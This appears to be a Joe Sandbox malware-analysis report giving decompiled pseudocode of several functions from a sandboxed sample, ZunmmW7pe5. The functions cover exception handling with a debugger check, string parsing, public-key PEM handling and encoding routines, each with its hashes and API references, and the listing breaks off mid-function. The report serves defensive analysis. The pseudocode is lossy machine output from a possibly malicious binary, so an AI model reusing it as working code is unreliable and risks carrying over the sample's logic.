Instruction ID: 8276ee99f9aee32f2bf2d780376181684c2e7b718a3c069e869745029f0c038d
Opcode Fuzzy Hash: af0ef5ec4c82dcc3c01ae7c59c2df6124d78fbd3e5d4373651a5ce08c5825ce8
Instruction Fuzzy Hash: F3A1C991B0869142FBD5AB2594807B8BB91EF48B94FC84433DE4D67791DF3CE451C322

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E37403F4 Relevance: 9.1, APIs: 6, Instructions: 83
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 65%

			E00007FF77FF7E37403F4(void* __ecx, intOrPtr __edx, void* __esp, long long __rbx, void* __rdx, long long __rsi, void* __r8) {
				void* __rdi;
				void* _t36;
				int _t43;
				void* _t46;
				void* _t47;
				intOrPtr _t55;
				signed long long _t65;
				long long _t68;
				_Unknown_base(*)()* _t88;
				void* _t92;
				void* _t93;
				void* _t95;
				signed long long _t96;
				struct _EXCEPTION_POINTERS* _t102;

				_t48 = __ecx;
				 *((long long*)(_t95 + 0x10)) = __rbx;
				 *((long long*)(_t95 + 0x18)) = __rsi;
				_t93 = _t95 - 0x4f0;
				_t96 = _t95 - 0x5f0;
				_t65 =  *0xe3764018; // 0xf7df8d81ad38
				 *(_t93 + 0x4e0) = _t65 ^ _t96;
				_t55 = r8d;
				_t47 = __ecx;
				if (__ecx == 0xffffffff) goto 0xe3740433;
				E00007FF77FF7E373B198(_t36);
				r8d = 0x98;
				E00007FF77FF7E373B860(__ecx, 0, _t55, __esp, _t96 + 0x70, __rdx, _t88, __r8);
				r8d = 0x4d0;
				E00007FF77FF7E373B860(_t48, 0, _t55, __esp, _t93 + 0x10, __rdx, _t88, __r8);
				 *((long long*)(_t96 + 0x48)) = _t96 + 0x70;
				_t68 = _t93 + 0x10;
				 *((long long*)(_t96 + 0x50)) = _t68;
				 *0xe374c2e0();
				r8d = 0;
				 *0xe374c2e8();
				if (_t68 == 0) goto 0xe37404c6;
				 *(_t96 + 0x38) =  *(_t96 + 0x38) & 0x00000000;
				 *((long long*)(_t96 + 0x30)) = _t96 + 0x60;
				 *((long long*)(_t96 + 0x28)) = _t96 + 0x58;
				 *((long long*)(_t96 + 0x20)) = _t93 + 0x10;
				 *0xe374c2f0();
				 *((long long*)(_t93 + 0x108)) =  *((intOrPtr*)(_t93 + 0x508));
				 *((intOrPtr*)(_t96 + 0x70)) = __edx;
				 *((long long*)(_t93 + 0xa8)) = _t93 + 0x510;
				 *((long long*)(_t93 - 0x80)) =  *((intOrPtr*)(_t93 + 0x508));
				 *((intOrPtr*)(_t96 + 0x74)) = _t55;
				_t43 = IsDebuggerPresent();
				SetUnhandledExceptionFilter(_t88, _t92);
				if (UnhandledExceptionFilter(_t102) != 0) goto 0xe3740528;
				if (_t43 != 0) goto 0xe3740528;
				if (_t47 == 0xffffffff) goto 0xe3740528;
				_t46 = E00007FF77FF7E373B198(_t45);
				E00007FF77FF7E374AB20();
				return _t46;
			}

0x7ff7e37403f4
0x7ff7e37403f4
0x7ff7e37403f9
0x7ff7e3740402
0x7ff7e374040a
0x7ff7e3740411
0x7ff7e374041b
0x7ff7e3740422
0x7ff7e3740427
0x7ff7e374042c
0x7ff7e374042e
0x7ff7e374043a
0x7ff7e3740440
0x7ff7e374044b
0x7ff7e3740451
0x7ff7e374045b
0x7ff7e3740464
0x7ff7e3740468
0x7ff7e374046d
0x7ff7e3740482
0x7ff7e3740485
0x7ff7e374048e
0x7ff7e3740490
0x7ff7e37404a3
0x7ff7e37404b0
0x7ff7e37404b9
0x7ff7e37404c0
0x7ff7e37404cd
0x7ff7e37404df
0x7ff7e37404e3
0x7ff7e37404f1
0x7ff7e37404f5
0x7ff7e37404f9
0x7ff7e3740503
0x7ff7e3740516
0x7ff7e374051a
0x7ff7e374051f
0x7ff7e3740523
0x7ff7e3740532
0x7ff7e374054e

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF7E374046D
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7E3740485
RtlVirtualUnwind.KERNEL32 ref: 00007FF7E37404C0
IsDebuggerPresent.KERNEL32 ref: 00007FF7E37404F9
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7E3740503
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7E374050E

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: dd0e69a13bc5d65e0eb95ac492d0c8ed54a2c6754621d0bcc6d40556ffbd1897
Instruction ID: ba4d52324d012443285e68c70f2258a3b8623c81b2c03104f50fa81264c2d3fb
Opcode Fuzzy Hash: dd0e69a13bc5d65e0eb95ac492d0c8ed54a2c6754621d0bcc6d40556ffbd1897
Instruction Fuzzy Hash: 17318232618B8286E7A0DF65E8803AEB7A4FB8C754F900136EA8D53B64DF3CD555CB11

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E3742F30 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 164
COMMONCrypto

Download Yara Rule

C-Code - Quality: 64%

			E00007FF77FF7E3742F30(void* __edx, intOrPtr* __rax, long long __rbx, intOrPtr* __rcx, long long __rdx, long long _a8, void* _a16, long long _a24, intOrPtr _a26, long long _a32) {
				long long _v72;
				intOrPtr _v80;
				void* _v88;
				long long _v96;
				long long _v104;
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* _t33;
				void* _t37;
				intOrPtr* _t66;
				signed long long _t68;
				long long _t70;
				long long _t72;
				long long _t78;
				void* _t83;
				void* _t90;
				long long _t104;
				long long _t108;
				void* _t110;
				intOrPtr* _t112;
				void* _t114;
				void* _t117;
				intOrPtr _t129;
				void* _t131;
				void* _t132;
				signed long long _t133;
				signed long long _t134;
				signed long long _t137;
				intOrPtr* _t138;

				_t66 = __rax;
				_a8 = __rbx;
				_a16 = __rdx;
				if (__rdx != 0) goto 0xe3742f6c;
				_t33 = E00007FF77FF7E3740720(__rax);
				_t3 = _t108 + 0x16; // 0x16
				 *__rax = _t3;
				E00007FF77FF7E3740600(_t33);
				goto 0xe374310c;
				asm("xorps xmm0, xmm0");
				 *((long long*)(__rdx)) = _t108;
				asm("movdqu [ebp-0x20], xmm0");
				_v72 = _t108;
				if ( *__rcx == _t108) goto 0xe3742fd7;
				_a24 = 0x3f2a;
				_a26 = dil;
				E00007FF77FF7E3748BF8( *__rcx,  &_a24);
				if (_t66 != 0) goto 0xe3742fae;
				r8d = 0;
				_t37 = E00007FF77FF7E374313C(__rcx,  *__rcx,  &_a24, _t108, _t110, _t114, _t117,  &_v88);
				goto 0xe3742fba;
				0xe374324c();
				r14d = _t37;
				if (_t37 != 0) goto 0xe3742fca;
				goto 0xe3742f7e;
				goto 0xe37430d0;
				_t112 = _v88;
				_t129 = _v80;
				_a24 = _t108;
				_t68 = _t129 - _t112;
				_t137 = (_t68 >> 3) + 1;
				_t90 =  >  ? _t108 : _t68 + 7 >> 3;
				_t134 = _t133 | 0xffffffff;
				if (_t90 == 0) goto 0xe3743039;
				_t70 = _t134 + 1;
				if ( *((intOrPtr*)( *_t112 + _t70)) != dil) goto 0xe374301a;
				if (_t108 + 1 != _t90) goto 0xe3743014;
				_a24 = _t108 + 1 + _t70;
				r8d = 1;
				E00007FF77FF7E373ED9C(_t137, _t108 + 1 + _t70, _t108 + 1);
				_t78 = _t70;
				if (_t70 == 0) goto 0xe37430c9;
				_t104 = _t70 + _t137 * 8;
				_t138 = _t112;
				_v96 = _t104;
				_a32 = _t104;
				if (_t112 == _t129) goto 0xe37430bf;
				_v104 = _t78 - _t112;
				_t131 = _t134 + 1;
				if ( *((intOrPtr*)( *_t138 + _t131)) != dil) goto 0xe3743079;
				_t132 = _t131 + 1;
				if (E00007FF77FF7E3748B24(0, _t104, _t78, _t104, _t104 - _t104 + _a24, _t132) != 0) goto 0xe3743124;
				_t72 = _a32;
				 *((long long*)(_v104 + _t138)) = _t72;
				_a32 = _t72 + _t132;
				if (_t138 + 8 != _t129) goto 0xe3743073;
				r14d = 0;
				 *_a16 = _t78;
				E00007FF77FF7E373FEE4(_a16, _v104);
				_t83 =  >  ? _t108 : _t129 - _t112 + 7 >> 3;
				if (_t83 == 0) goto 0xe3743101;
				E00007FF77FF7E373FEE4(_a16,  *_t112);
				if (_t108 + 1 != _t83) goto 0xe37430ed;
				E00007FF77FF7E373FEE4(_a16, _t112);
				return r14d;
			}

0x7ff7e3742f30
0x7ff7e3742f30
0x7ff7e3742f35
0x7ff7e3742f54
0x7ff7e3742f56
0x7ff7e3742f5b
0x7ff7e3742f5e
0x7ff7e3742f60
0x7ff7e3742f67
0x7ff7e3742f6c
0x7ff7e3742f6f
0x7ff7e3742f75
0x7ff7e3742f7a
0x7ff7e3742f7e
0x7ff7e3742f87
0x7ff7e3742f8d
0x7ff7e3742f91
0x7ff7e3742f9c
0x7ff7e3742fa2
0x7ff7e3742fa7
0x7ff7e3742fac
0x7ff7e3742fb5
0x7ff7e3742fba
0x7ff7e3742fbf
0x7ff7e3742fc8
0x7ff7e3742fd2
0x7ff7e3742fd7
0x7ff7e3742fde
0x7ff7e3742fe8
0x7ff7e3742fec
0x7ff7e3742ff9
0x7ff7e3743007
0x7ff7e374300b
0x7ff7e3743012
0x7ff7e374301a
0x7ff7e3743021
0x7ff7e3743033
0x7ff7e3743035
0x7ff7e3743039
0x7ff7e3743045
0x7ff7e374304a
0x7ff7e3743050
0x7ff7e3743052
0x7ff7e3743056
0x7ff7e3743059
0x7ff7e3743060
0x7ff7e3743067
0x7ff7e374306f
0x7ff7e3743079
0x7ff7e3743080
0x7ff7e3743085
0x7ff7e3743099
0x7ff7e374309f
0x7ff7e37430ab
0x7ff7e37430b6
0x7ff7e37430bd
0x7ff7e37430c3
0x7ff7e37430c6
0x7ff7e37430cb
0x7ff7e37430e4
0x7ff7e37430eb
0x7ff7e37430f0
0x7ff7e37430ff
0x7ff7e3743104
0x7ff7e3743123

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E3742F60

Part of subcall function 00007FF7E3740620: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF7E37405FE), ref: 00007FF7E374064D

Strings

*?, xrefs: 00007FF7E3742F87
., xrefs: 00007FF7E3743380

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID: CurrentProcess_invalid_parameter_noinfo
String ID: *?$.
API String ID: 2518042432-3972193922
Opcode ID: 362452293ad9835484b2ac00bec9c39e9ee85aa5ce3be7c751ae2805b5d326bf
Instruction ID: 0747db366bfc0b535e6f4d363744bf55f5ee3169affc3d7ea250952237e761be
Opcode Fuzzy Hash: 362452293ad9835484b2ac00bec9c39e9ee85aa5ce3be7c751ae2805b5d326bf
Instruction Fuzzy Hash: 9F51E232B14B9585FF50EFA198406BCBBA1AB48BD8B844132DE5D27B85DF3CE0618321

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E371CD10 Relevance: 5.2, Strings: 4, Instructions: 207
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF7E371CD10(void* __rcx, void* __rdx, void* __r8) {

				if (__r8 != 0) goto 0xe371cd36;
				return 0xffffc300;
			}

0x7ff7e371cd27
0x7ff7e371cd35

Strings

-----END PUBLIC KEY-----, xrefs: 00007FF7E371CE8C
-----END RSA PUBLIC KEY-----, xrefs: 00007FF7E371CD6C
-----BEGIN PUBLIC KEY-----, xrefs: 00007FF7E371CE98
-----BEGIN RSA PUBLIC KEY-----, xrefs: 00007FF7E371CD78

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID: -----BEGIN PUBLIC KEY-----$-----BEGIN RSA PUBLIC KEY-----$-----END PUBLIC KEY-----$-----END RSA PUBLIC KEY-----
API String ID: 0-601408324
Opcode ID: e3f7602c758fdc01a75075b0ee75816762408d2b451efffb4c11b06a510ec0bc
Instruction ID: 3e90e9850d6cb9c3783de0f7df0f4fdf59d666ef178ded64f51ada702cf888c6
Opcode Fuzzy Hash: e3f7602c758fdc01a75075b0ee75816762408d2b451efffb4c11b06a510ec0bc
Instruction Fuzzy Hash: 21917363B14A6688EB94EBA5DC802FC7B65AF8C784B840033DE0D77A99DE3CD591C311

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E3746DF0 Relevance: 4.8, APIs: 3, Instructions: 340
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF7E3746DF0(intOrPtr* __rcx, long long __rdx, long long _a16) {

				_a16 = __rdx;
				r9d =  *__rcx;
				if (r9d != 0) goto 0xe3746e18;
				return 0;
			}

0x7ff7e3746df0
0x7ff7e3746dfe
0x7ff7e3746e0a
0x7ff7e3746e17

APIs

memcpy_s.LIBCMT ref: 00007FF7E3746E7B

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID: memcpy_s
String ID:
API String ID: 1502251526-0
Opcode ID: 70c0b5c9f173c4f2f19c2ea5832ec085c8a19f6ec01fb735b7a86ca987de8b06
Instruction ID: bd5faaa59a8a6f03e4badca940eb60891f04daa8677725804c4cb9c123b78fe1
Opcode Fuzzy Hash: 70c0b5c9f173c4f2f19c2ea5832ec085c8a19f6ec01fb735b7a86ca987de8b06
Instruction Fuzzy Hash: 7CD1C132B182C687EBA4DF15E18476ABAA1FB88784F548135DB5E63B44CA3DF8518B00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E374313C Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 97
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF7E374313C(long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, long long __rbp, void* __r8, void* __r9, void* _a8, void* _a16, void* _a24, void* _a32) {
				signed long long _t15;
				signed long long _t16;
				void* _t24;
				signed long long _t33;

				_t15 = _t33;
				 *((long long*)(_t15 + 8)) = __rbx;
				 *((long long*)(_t15 + 0x10)) = __rbp;
				 *((long long*)(_t15 + 0x18)) = __rsi;
				 *((long long*)(_t15 + 0x20)) = __rdi;
				_t16 = _t15 | 0xffffffff;
				_t24 = _t16 + 1;
				if ( *((char*)(__rcx + _t24)) != 0) goto 0xe374316c;
				if (_t24 + __rdx - _t16 - __r8 <= 0) goto 0xe37431a7;
				return __rdx + 0xb;
			}

0x7ff7e374313c
0x7ff7e374313f
0x7ff7e3743143
0x7ff7e3743147
0x7ff7e374314b
0x7ff7e3743159
0x7ff7e374316c
0x7ff7e3743173
0x7ff7e3743183
0x7ff7e37431a6

Strings

., xrefs: 00007FF7E3743380

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: 2834d4f9b376a3c2f0cd0c352c353e727ba0f470d0953a6a1f4195990cdd55ac
Instruction ID: 0a73d0c3fdc6ecf1fea80e019b2ae5b07c1969bf82e578bc6cb3a3fffefa7488
Opcode Fuzzy Hash: 2834d4f9b376a3c2f0cd0c352c353e727ba0f470d0953a6a1f4195990cdd55ac
Instruction Fuzzy Hash: C5313B32B14A9145F7A0AA32D8447B9FE91AB49BE0F448332DE6C17BC5DE3CE5218301

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E374A5A8 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FF7E374A7F5
RaiseException.KERNEL32 ref: 00007FF7E374A806

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: aab20a45866ea68c9150a033647c9094ea9a606d8985a0cc5c6e65e22d9a4e5b
Instruction ID: d60624d9439588052410720466bf257532edbc47a6d8f57f62a5931dd0af5c7a
Opcode Fuzzy Hash: aab20a45866ea68c9150a033647c9094ea9a606d8985a0cc5c6e65e22d9a4e5b
Instruction Fuzzy Hash: BAB19E73600B958BEB99CF29C88536C7BE0F748B48F548926DB9D837A4CB39E461C711

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E3715720 Relevance: 2.2, Strings: 1, Instructions: 916
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00007FF77FF7E3715720(long long __rbx, long long __rcx, signed long long __rdx, long long __r8) {
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* _t252;
				void* _t255;
				void* _t261;
				void* _t268;
				void* _t280;
				void* _t292;
				void* _t304;
				void* _t311;
				void* _t318;
				void* _t331;
				void* _t338;
				void* _t349;
				void* _t371;
				void* _t373;
				void* _t377;
				intOrPtr* _t511;
				signed int _t512;
				void* _t516;
				void* _t518;
				void* _t522;
				void* _t524;
				void* _t528;
				signed int _t540;
				void* _t544;
				signed int _t551;
				void* _t555;
				signed int _t562;
				void* _t566;
				void* _t568;
				void* _t572;
				void* _t574;
				void* _t578;
				long long* _t582;
				void* _t585;
				signed int _t608;
				signed int _t610;
				signed int _t611;
				signed int _t612;
				signed int _t613;
				signed int _t614;
				signed int _t615;
				signed int _t616;
				signed int _t617;
				signed int _t618;
				signed int _t619;
				signed int _t620;
				signed int _t621;
				signed int _t622;
				signed int _t623;
				signed int _t624;
				signed int _t625;
				signed int _t626;
				signed int _t627;
				signed int _t628;
				signed int _t629;
				signed int _t630;
				signed int _t631;
				signed int _t632;
				signed int _t633;
				signed int _t634;
				signed int _t635;
				signed int _t636;
				signed int _t637;
				signed int _t638;
				signed int _t639;
				signed int _t640;
				signed int _t641;
				signed int _t642;
				signed int _t643;
				signed int _t644;
				signed int _t645;
				void* _t646;
				signed int _t705;
				signed int _t706;
				signed int _t708;
				signed int _t712;
				signed int _t713;
				signed int _t715;
				signed int _t716;
				signed int _t719;
				signed int _t720;
				signed int _t722;
				signed int _t723;
				signed int _t724;
				signed int _t726;
				signed int _t727;
				void* _t778;
				signed int _t779;
				void* _t780;
				void* _t782;
				void* _t783;
				void* _t785;
				void* _t786;
				void* _t787;
				signed int _t788;
				signed int _t789;
				void* _t790;
				void* _t791;
				signed int _t793;
				void* _t794;
				void* _t795;
				signed int _t797;
				void* _t798;
				void* _t800;
				void* _t801;
				void* _t803;
				void* _t804;
				void* _t805;
				signed int _t806;
				void* _t808;
				void* _t812;
				signed int* _t813;
				void* _t815;
				void* _t816;
				void* _t851;
				void* _t853;
				signed int _t854;
				void* _t857;
				void* _t880;
				signed long long _t881;
				signed int _t883;

				 *((long long*)(_t815 + 0x10)) = __rbx;
				 *((long long*)(_t815 + 0x18)) = __r8;
				 *((long long*)(_t815 + 8)) = __rcx;
				_t813 = _t815 - 0x1b0;
				_t816 = _t815 - 0x2b0;
				_t511 =  *0xe3767360;
				_t610 = __rdx + 0x162f;
				r15d = 0;
				_t813[0x80] = _t610;
				_t881 = __rdx;
				r13d = r15d;
				if (_t511 == 0) goto 0xe3716552;
				if ( *_t511 != 1) goto 0xe37162b2;
				_t512 =  *0xe3767368;
				r12d = 1;
				_t813[0x7c] = _t512;
				 *(_t816 + 0x30) = r12d;
				r8d = 0;
				 *(_t816 + 0x38) = _t883;
				 *(_t816 + 0x40) = _t883;
				_t252 = E00007FF77FF7E3718E20(_t610, _t512, __rdx, _t778, _t808, __r8, _t816 + 0x30, _t883, _t880);
				_t12 = _t883 - 0x6c; // -108
				_t373 = _t12;
				if (_t252 != 0) goto 0xe3716181;
				E00007FF77FF7E371F930(_t512, _t816 + 0x30);
				_t779 = _t512;
				if (_t610 - _t881 < 0) goto 0xe371617f;
				if (_t610 - _t881 - _t779 < 0) goto 0xe371617f;
				_t611 = _t610 - _t779;
				_t813[0x80] = _t611;
				if (E00007FF77FF7E371FF70(_t611, _t816 + 0x30, _t611, _t808, _t779, _t857) != 0) goto 0xe371586d;
				if ( *(_t816 + 0x30) != r12d) goto 0xe371582c;
				if ( *_t611 - r13b >= 0) goto 0xe371582c;
				_t516 = _t611 - _t881;
				if (_t516 - _t854 < 0) goto 0xe371617f;
				_t612 = _t611 - 1;
				_t813[0x80] = _t612;
				_t780 = _t779 + 1;
				 *_t612 = r13b;
				_t255 = E00007FF77FF7E371F090( &(_t813[0x80]), _t881, _t780);
				_t613 = _t813[0x80];
				if (_t255 < 0) goto 0xe371586d;
				_t781 = _t780 + _t516;
				_t518 = _t613 - _t881;
				if (_t518 - _t854 < 0) goto 0xe371617f;
				_t614 = _t613 - 1;
				_t20 = _t781 + 1; // 0x2
				_t813[0x80] = _t614;
				 *_t614 = 2;
				if (_t20 < 0) goto 0xe3716181;
				r9d = 0;
				if (E00007FF77FF7E3718E20(_t614, _t813[0x7c], _t881, _t780 + _t516, _t808, _t816 + 0x30, _t816 + 0x30, _t854, _t778) != 0) goto 0xe3716181;
				E00007FF77FF7E371F930(_t518, _t816 + 0x30);
				_t782 = _t518;
				if (_t614 - _t881 < 0) goto 0xe371617f;
				if (_t614 - _t881 - _t782 < 0) goto 0xe371617f;
				_t615 = _t614 - _t782;
				_t813[0x80] = _t615;
				if (E00007FF77FF7E371FF70(_t615, _t816 + 0x30, _t615, _t808, _t782, _t808) != 0) goto 0xe3715949;
				if ( *(_t816 + 0x30) != r12d) goto 0xe3715908;
				if ( *_t615 - r15b >= 0) goto 0xe3715908;
				_t522 = _t615 - _t881;
				if (_t522 - _t854 < 0) goto 0xe371617f;
				_t616 = _t615 - 1;
				_t813[0x80] = _t616;
				_t783 = _t782 + 1;
				 *_t616 = r15b;
				_t261 = E00007FF77FF7E371F090( &(_t813[0x80]), _t881, _t783);
				_t617 = _t813[0x80];
				if (_t261 < 0) goto 0xe3715949;
				_t784 = _t783 + _t522;
				_t524 = _t617 - _t881;
				if (_t524 - _t854 < 0) goto 0xe371617f;
				_t618 = _t617 - 1;
				_t31 = _t784 + 1; // 0x2
				_t813[0x80] = _t618;
				 *_t618 = 2;
				if (_t31 < 0) goto 0xe3716181;
				r9d = 0;
				r8d = 0;
				if (E00007FF77FF7E3718E20(_t618, _t813[0x7c], _t816 + 0x30, _t783 + _t522, _t808, _t783, _t816 + 0x30) != 0) goto 0xe3716181;
				E00007FF77FF7E371F930(_t524, _t816 + 0x30);
				_t785 = _t524;
				if (_t618 - _t881 < 0) goto 0xe371617f;
				if (_t618 - _t881 - _t785 < 0) goto 0xe371617f;
				_t619 = _t618 - _t785;
				_t813[0x80] = _t619;
				if (E00007FF77FF7E371FF70(_t619, _t816 + 0x30, _t619, _t808, _t785, _t812) != 0) goto 0xe3715a28;
				if ( *(_t816 + 0x30) != r12d) goto 0xe37159e7;
				if ( *_t619 - r15b >= 0) goto 0xe37159e7;
				_t528 = _t619 - _t881;
				if (_t528 - _t854 < 0) goto 0xe371617f;
				_t620 = _t619 - 1;
				_t813[0x80] = _t620;
				_t786 = _t785 + 1;
				 *_t620 = r15b;
				_t268 = E00007FF77FF7E371F090( &(_t813[0x80]), _t881, _t786);
				_t621 = _t813[0x80];
				if (_t268 < 0) goto 0xe3715a28;
				_t787 = _t786 + _t528;
				if (_t621 - _t881 - _t854 < 0) goto 0xe371617f;
				_t622 = _t621 - 1;
				_t42 = _t787 + 1; // 0x2
				_t813[0x80] = _t622;
				 *_t622 = 2;
				if (_t42 < 0) goto 0xe3716181;
				_t788 = _t813[0x7c];
				_t813[0x82] = _t883;
				 *(_t813 - 0x48) = r12d;
				 *(_t813 - 0x38) =  &(_t813[0x82]);
				 *(_t813 - 0x40) = _t854;
				_t813[0x7c] = _t788 + 0x10;
